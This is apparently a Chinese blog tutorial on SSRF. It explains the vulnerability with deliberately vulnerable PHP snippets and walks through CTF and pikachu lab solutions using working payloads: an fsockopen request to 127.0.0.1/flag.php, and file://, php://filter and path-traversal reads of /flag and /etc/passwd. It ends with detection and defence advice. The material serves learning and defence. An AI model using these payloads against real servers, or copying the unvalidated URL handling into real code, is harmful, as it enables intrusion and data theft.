SSRF漏洞概述和演示
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的Web应用程序安全漏洞。它允许攻击者诱使服务器端应用程序发起任意HTTP(S)请求到内部系统或者网络,而这些请求通常是正常情况下服务器自身为了某种功能而发起的,例如获取远程资源、API调用等。由于服务器信任自己的内部请求,因此这种漏洞可能会暴露内部网络中的敏感信息,进一步可能导致诸如读取内部服务器文件、攻击内部服务、端口扫描、DDoS攻击等严重后果。
SSRF漏洞概述:
- 成因:SSRF漏洞主要源于Web应用对用户输入的URL没有充分过滤和校验,使得攻击者能够操控服务器向任意指定的URL发送请求。
- 危害:攻击者可以利用SSRF漏洞绕过防火墙和其他网络防护措施,直接从内部网络发起攻击,这使得一些仅对外部访问设限的安全措施失效。
- 利用方式:攻击者可能尝试注入恶意URL,如内网IP、本地文件协议(file:///)、特殊的网络协议(如RPC、FTP等),甚至是利用一些服务端软件存在的SSRF特性间接访问内部资源。
SSRF漏洞演示:
以下是一个简单的SSRF漏洞演示例子:
假设有一个Web应用,它提供一个功能,让用户输入一个公开可用的URL来获取网页标题。但是,它没有对用户输入的URL进行严格的检查和过滤:
def get_webpage_title(url):
# 假设这是服务器端的伪代码,它直接使用用户提供的URL获取页面标题
response = requests.get(url)
return response.title
# 正常情况,用户可能输入像 http://example.com 这样的URL
# 攻击者则可能输入一个内部服务器的IP地址,例如 http://10.0.0.1/admin/private-info 或 file:///etc/passwd
攻击者通过提交内部网络地址,可能成功地让服务器返回了内部系统的敏感信息或执行了未授权的操作。
PHP SSRF相关函数和协议
在PHP中,与SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞相关的函数主要是那些可以发起网络请求或打开网络连接的函数。以下是一些可能导致SSRF漏洞的PHP函数:
-
file_get_contents()
- 可以从给定的URL读取内容,如果URL参数不受限制,攻击者就可能诱导服务器向任意地址发送请求。
$data = file_get_contents($_GET['url']);
2.fopen()
和 file_put_contents()
结合使用 - 类似于file_get_contents()
,fopen()
可用于打开一个URL资源,并结合file_put_contents()
将响应内容保存到文件中。
$handle = fopen($_GET['url'], 'r');
$contents = stream_get_contents($handle);
file_put_contents('output.txt', $contents);
3.cURL
函数族 - 包括 curl_init()
, curl_setopt()
, curl_exec()
等,它们用来初始化cURL会话、设置选项(包括URL)并执行请求。
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
这段代码的作用是从用户通过GET请求传递的URL地址获取数据,并将获取的数据存储在 $response
变量中。在实际应用中,需要确保对用户提供的URL进行严格的验证和过滤,以防止潜在的安全风险。
4.fsockopen()
- 用于打开一个网络或套接字连接,可以用来发起TCP/IP请求,包括HTTP请求。
$host = $_GET['host'];
$port = $_GET['port'];
$fp = fsockopen($host, $port, $errno, $errstr, 30);
if (!$fp) {
// 处理错误
} else {
// 发送请求...
}
5.SoapClient
- 在特定条件下,当SOAP服务允许传入任意URL时,也可能成为SSRF的入口点。
<?php
class MyClass {
public function callWebService($wsdlUrl, $operation, $params) {
$client = new SoapClient($wsdlUrl);
$result = $client->{$operation}($params); // 直接使用用户提供的$wsdlUrl创建SoapClient对象并调用方法
return $result;
}
}
// 假设在某个接口中直接使用了用户的输入
$myClass = new MyClass();
$wsdlUrl = $_GET['wsdl']; // 用户可以控制的WSDL URL
$operation = $_GET['operation'];
$params = json_decode($_GET['params'], true);
$response = $myClass->callWebService($wsdlUrl, $operation, $params);
echo $response;
在这个示例中,如果应用程序直接使用了来自用户输入的 $wsdlUrl
参数来创建 SoapClient 对象,攻击者就可以通过构造恶意的 WSDL 地址,导致服务器向任意地址发送 SOAP 请求。例如,如果攻击者提供了内部网络的 WSDL 地址或一个可触发其他内部操作的自定义WSDL,那么这就可能引发SSRF漏洞。
因为内容太多,此处的相关推文:
CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户
协议
针对SSRF漏洞,攻击者可能利用的协议不仅限于HTTP(s),还包括但不限于以下几种:
file://
协议 - 用于读取本地文件系统上的文件。gopher://
协议 - 旧式的信息检索协议,有时也可以被利用。- 内部网络IP地址和非标准端口 - 利用SSRF访问内部网络服务。
- RPC(Remote Procedure Call)协议 - 如XML-RPC、JSON-RPC等,可能被用于调用内部服务接口。
ssrf常见场景
SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞的常见场景包括但不限于以下几个方面:
-
从指定URL加载资源
- 网页内容抓取或镜像功能,如网页爬虫、动态加载第三方内容。
- 图片上传后显示,服务器接收上传的图片URL,然后在前端展示时去请求这个URL。
- 在线翻译、图片识别等服务,应用会根据用户提供的URL获取内容进行处理。
-
API调用
- 服务间通信时,服务器可能根据用户输入的URL调用其他内部服务的API。
- 云服务商接口,如获取对象存储桶中的内容、管理云服务资源时,可能依赖用户提供的URI。
-
Webhooks回调
- 当应用支持webhook功能时,可能允许用户指定回调地址,服务器会在特定事件发生时向该地址发送请求。
-
共享/订阅功能
- 社交媒体平台上的分享功能,可能允许用户分享外部链接并在服务器上预览或分析链接内容。
- 订阅RSS/Atom feed时,服务器可能会定期去拉取用户提供的feed地址。
-
远程服务集成
- 应用集成第三方服务时,可能通过URL形式调用远程API,如天气查询、地理位置服务等。
-
文件下载或上传
- 文件托管服务可能允许上传或下载文件,攻击者可能会诱导服务器下载或上传内部服务器文件。
-
端口扫描和探测
- 如果服务器对用户提供的IP地址和端口号不加限制,攻击者可能借此进行内网端口扫描或攻击内部服务。
-
内部服务利用
- 利用内部网络服务如数据库、缓存服务(如Memcached、Redis)进行攻击,如提取敏感数据或发动DoS攻击。
-
无回显型SSRF
- 即使服务器没有将请求结果直接显示给攻击者,攻击者仍可能通过观察服务的行为变化或通过其他间接反馈判断攻击效果。
ssrf ctf题目
[HNCTF 2022 WEEK2]ez_ssrf
爆破一下目录
访问flag.php
我们再来看一下index.php
上述代码的作用是,通过fsockopen函数发起一个TCP连接
$data=base64_decode($_GET['data']);
:首先从GET参数中获取名为'data'的值,并使用base64_decode()
函数对其进行解码,将其转换为原始二进制数据。
$host=$_GET['host'];
:从GET参数中获取名为'host'的值,用于指定要连接的目标主机名或IP地址。
$port=intval($_GET['port']);
:从GET参数中获取名为'port'的值,并使用intval()
函数将其转换为整数,作为要连接的目标端口号。
fsockopen($host, intval($port), $error, $errstr, 30);
: 创建一个到指定主机和端口的TCP连接。如果连接失败,$error
变量将存储错误编号,$errstr
变量将存储错误消息。最后的数字30是超时时间(单位秒)。
if(!$fp) { die(); }
: 如果fsockopen()
函数返回false(即连接失败),则终止脚本执行。
else { ... }
: 如果连接成功,则执行else块中的代码。
fwrite($fp, $data);
: 向socket连接写入解码后的数据(即$data
)。
while(!feof($data)) { ... }
: 创建一个循环,直到读取到数据流的末尾为止。这里需要注意的是,feof()
函数在这儿可能并不是最佳选择,因为它用于检测文件是否到达EOF,而不是socket连接。在实际应用中,可能需要使用feof($fp)
来判断socket连接是否结束。
echo fgets($fp, 128);
: 从socket连接中读取最多128个字节的数据,并将其输出。每一圈循环都会读取并打印出一部分数据,直到socket关闭或者达到数据流的末尾。
与请求头中的Host值与flag.php的localhost形成照样
然后我们来看一下最基础的发起TCP连接的http
形式如上,此处有一个细节
一个http请求头的字符结束后有两个换行符
此图可以看出,http请求头确实是最后有两个换行符
此时构建php代码来实现
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
最终的payload:index.php/?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
疑问:
1.此处为什么端口不为443,而是80?
我猜此处可能是因为该题的URL是http,而非https的原因
2.上述的php代码中为什么不直接使用windows中的enter键,而是\r\n的方式
不知:
从上述的测试,证明了,win操作系统的enter键等同于\n
但是网上很多的博客,显示win中的enter键其实等同于\r\n
[NISACTF 2022]easyssrf
试过了127.0.0.1发现并没回显,试着利用file协议直接读取flag,file:///flag
此处不能包含file字段
方法一:相对路径读取:../../../flag
方法二:php伪协议:php://filter/read=convert.base64_encode/resource=/flag
ssrf靶场
pikachu靶场
1.curl函数库
发现传参:
直接试试file://协议,读取文件
成功读取了
试着探探端口
【注意】:curl函数库不能使用php://filter伪协议,也无法使用../上一级目录的凡是读取
扩展:
函数 | 描述 |
---|---|
curl_close() | 关闭一个cURL会话。 |
curl_copy_handle() | 复制一个cURL句柄和它的所有选项。 |
curl_errno() | 返回最后一次的错误号。 |
curl_error() | 返回一个保护当前会话最近一次错误的字符串。 |
curl_escape() | 返回转义字符串,对给定的字符串进行URL编码。 |
curl_exec() | 执行一个cURL会话。 |
curl_file_create() | 创建一个 CURLFile 对象。 |
curl_getinfo() | 获取一个cURL连接资源句柄的信息。 |
curl_init() | 初始化一个cURL会话。 |
curl_multi_add_handle() | 向curl批处理会话中添加单独的curl句柄。 |
curl_multi_close() | 关闭一组cURL句柄。 |
curl_multi_exec() | 运行当前 cURL 句柄的子连接。 |
curl_multi_getcontent() | 如果设置了CURLOPT_RETURNTRANSFER,则返回获取的输出的文本流。 |
curl_multi_info_read() | 获取当前解析的cURL的相关传输信息。 |
curl_multi_init() | 返回一个新cURL批处理句柄。 |
curl_multi_remove_handle() | 移除curl批处理句柄资源中的某个句柄资源。 |
curl_multi_select() | 等待所有cURL批处理中的活动连接。 |
curl_multi_setopt() | 设置一个批处理cURL传输选项。 |
curl_multi_strerror() | 返回描述错误码的字符串文本。 |
curl_pause() | 暂停及恢复连接。 |
curl_reset() | 重置libcurl的会话句柄的所有选项。 |
curl_setopt_array() | 为cURL传输会话批量设置选项。 |
curl_setopt() | 设置一个cURL传输选项。 |
curl_share_close() | 关闭cURL共享句柄。 |
curl_share_init() | 初始化cURL共享句柄。 |
curl_share_setopt() | 设置一个共享句柄的cURL传输选项。 |
curl_strerror() | 返回错误代码的字符串描述。 |
curl_unescape() | 解码URL编码后的字符串。 |
curl_version() | 获取cURL版本信息。 |
2.file_get_contents函数
看见参数file,直接file://协议读取文件成功
【注意】:还可以使用php://filter伪协议读取文件
探探端口
内网其他主机的请求
如何检测、挖掘SSRF漏洞
检测和挖掘SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞的过程主要包括以下几个步骤:
1. 了解应用架构与功能
- 首先,熟悉目标应用的功能,找出所有可能发起网络请求的地方,如API接口、图像加载、数据抓取、重定向处理、文件上传、第三方服务集成等。
2. 检查源代码或二进制审计
- 详细阅读源代码,寻找所有接受外部输入并用于构造HTTP请求的部分,查看是否对输入进行了恰当的过滤和验证。
- 注意检查使用了哪些网络请求库(如cURL、fsockopen、file_get_contents等)以及如何处理用户提供的URL。
3. 动态测试
- 利用黑盒测试方法,尝试构造带有不同参数的请求,如:
- 测试内部IP地址(如
127.0.0.1
、0.0.0.0
)、内网IP段、localhost等。 - 使用特殊协议(如
file://
、gopher://
、dict://
)尝试读取本地文件或执行其他操作。 - 测试云服务商的内网地址、AWS S3、阿里云OSS等云存储服务的私有URL。
- 尝试探测内部网络服务和端口。
- 测试内部IP地址(如
4. 工具辅助
- 使用自动化工具进行模糊测试和SSRF漏洞扫描,例如:
- SSRFmap
- Burp Suite Pro的插件如Intruder或Scanner模块
- ZAP(Zed Attack Proxy)的SSRF检测功能
- 自定义开发的脚本或工具
5. 深度探测
- 如果发现SSRF漏洞迹象,进一步尝试深入探测,如:
- 通过SSRF漏洞访问内部网络服务、API、数据库等。
- 尝试DNS Rebinding攻击来绕过防火墙防护。
- 利用内网服务的特性执行远程命令(如果存在相关漏洞)。
6. 验证与报告
- 验证漏洞是否确实存在,并评估其影响范围与严重程度。
- 准备详细的漏洞报告,包括漏洞触发条件、危害描述、PoC(Proof-of-Concept)演示等内容。
如何防御SSRF漏洞
防御SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞的主要策略包括以下几个方面:
1. 输入验证与过滤
- URL白名单:只允许请求预定义的、安全的、对外公开的域名或IP地址,拒绝所有不在白名单内的URL请求。
- URL黑名单:阻止访问已知的内部IP地址、localhost、loopback地址、内网IP段以及特殊协议(如file、gopher、dict等)。
- URL格式验证:确保URL格式正确,不包含额外的特殊字符或非法结构。
2. 网络请求限制
- 限制端口:只允许访问常用服务端口,如HTTP(S)的80和443端口,禁止访问非标准端口。
- 协议过滤:只允许HTTP和HTTPS协议,禁止其他可能导致安全问题的协议。
3. 代理服务器
- 使用代理:所有对外部资源的请求通过一个安全的代理服务器进行,该服务器可以对请求的目标地址进行限制和过滤。
4. 服务端配置
- 关闭不必要的服务:在服务器上禁用或限制对内部服务的访问,如关闭不必要的端口监听,限制对内部网络的访问。
- 防火墙策略:在防火墙层面设置规则,阻止服务器对内部网络或特定外部资源的访问。
5. 代码层面安全实践
- 最小权限原则:确保发起网络请求的组件具有最小权限,不提供对敏感资源的访问能力。
- 异常处理:对网络请求失败或响应异常的情况做好捕获和处理,防止暴露内部错误信息。
6. 加密和认证
- 对敏感资源的访问实施加密和身份验证,即使攻击者找到了SSRF漏洞,也无法获取未授权的内容。
7. 审计与监控
- 持续监控和审计:定期进行安全审计,发现潜在的SSRF漏洞,并对异常网络活动进行实时监控和报警。
综合运用上述措施,可以帮助系统有效地防御SSRF漏洞,降低潜在的安全风险。同时,加强开发人员的安全意识培训,确保在开发过程中遵循安全编码规范,也是至关重要的。